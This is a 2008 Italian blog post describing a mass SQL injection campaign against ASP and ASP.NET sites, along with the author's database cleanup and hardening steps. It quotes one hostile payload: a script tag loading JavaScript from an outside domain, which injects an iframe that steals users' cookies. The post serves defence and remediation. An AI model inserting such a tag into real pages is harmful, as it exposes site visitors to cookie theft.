Problem.
Ultimamente si stanno verificando attacchi massivi che bucano soprattutto i siti sviluppati con il vecchio ASP. Ma non solo, anche ASP.Net è vulnerabile ad attacchi che si verificano da qualche mese e che stanno causando grossi problemi a portali di aziende organizzazioni importanti di tutto il mondo.
Questo attacco prevede:
- la scansione dei parametri utilizzati nelle pagine (get e post)
- la valorizzazione di tali paramentri con comandi sql scritti in codice binario
- la conseguente esecuzione dei comandi sql che non fanno altro che appendere, in tutti i campi testuali, un tag html come ad esempio "<script src=http://www.pingbnr.com/b.js> </script>"
L'effetto è che quando gli utenti accedono al sito viene eseguita una chiamata cross site scripting al file js (sia che la pagina si veda sia che la pagina non si veda in quanto spaccata dal tag - pensate ad una drop down list che carica il valore dal db) , che non fa altro che scrivere un iframe. E' proprio la pagina richiamata dall'iframe che legge tutti i contenuti del cookie dell'utente. La conseguenza si può benissimo intuire: centinaia di migliaia di dati degli utenti salvati nel database degli hackers.
Per saperne di più http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx
Solutions.
1) La soluzione a questo tipo di attacco è proprio quella di proteggere e controllare i campi utili a costruire la sintassi sql (cosa che ho automatizzato già da un pò di tempo con una dll com+ per i siti asp e ultimamente con una dll .net per i siti asp.net) .
Microsoft, dopo aver notato la crescita di questo tipo di attacco mette a disposizione un tool che verifica l'intrusività del codice sviluppato http://blog.html.it/archivi/2008/06/27/un-tool-microsoft-contro-la-sql-injection.php
Ovviamente proteggere le applicazioni richiedono anche tempo e denaro. Il cliente non ha però scelta, deve investire in questo.
2) Chi gestisce i siti dei clienti si ritrovano però a far fronte ad azioni molto più immediate rispetto al lavoro di coprire le falle, proprio per evitare il down prolungato delle loro applicazioni.
Per questo motivo e per le vicissitudini vissute in prima persona vorrei condividere il mio intervento su un cliente.
Il problema principale è stato appunto quello di ripulire il codice maligno dalle tabelle. Ripristinare un backup del database non è sempre la soluzione migliore anche perché:
- l'attacco può essere avvenuto in giorni diversi e quindi è difficile stabilire il backup opportuno
- il cliente può aver aggiornato contenuti durante i giorni di presenza dello script maligno
- finché non si implementa la sicurezza delle pagine il sito è a rischio quotidiano di nuovi attacchi
In questi casi rimane che ripulire il codice e monitorare l'applicazione. Ho pertanto implementato una procedura (riutilizzando proprio lo script di chi ha attaccato) che, sfruttando le tabelle di sistema, non fa altro che scandire tutti i campi testuali di tutte le tabelle e rimuovere gli script maligni. Tali script vengono enumerati a loro volta in una tabella degli script maligni e quindi eliminati attraverso l'esecuzione di una stored procedure.
Inoltre, attraverso un job schedulato di sql, è possibile automatizzare l'intervento quotidianamente, finchè non viene rilasciata la release sicura dell'applicazione.
Un'altra azione da fare è di negare all'utente di sql, utilizzato per interagire con le tabella della vostra applicazione, l'accesso alle tabelle di sistema. In questa maniera non si dà la possibilità di scandire le tabelle del database.
A chi fosse interessato posso inviare l'intero script sql che ripulisce il database del codice maligno.
posted @ mercoledì 2 luglio 2008 15:48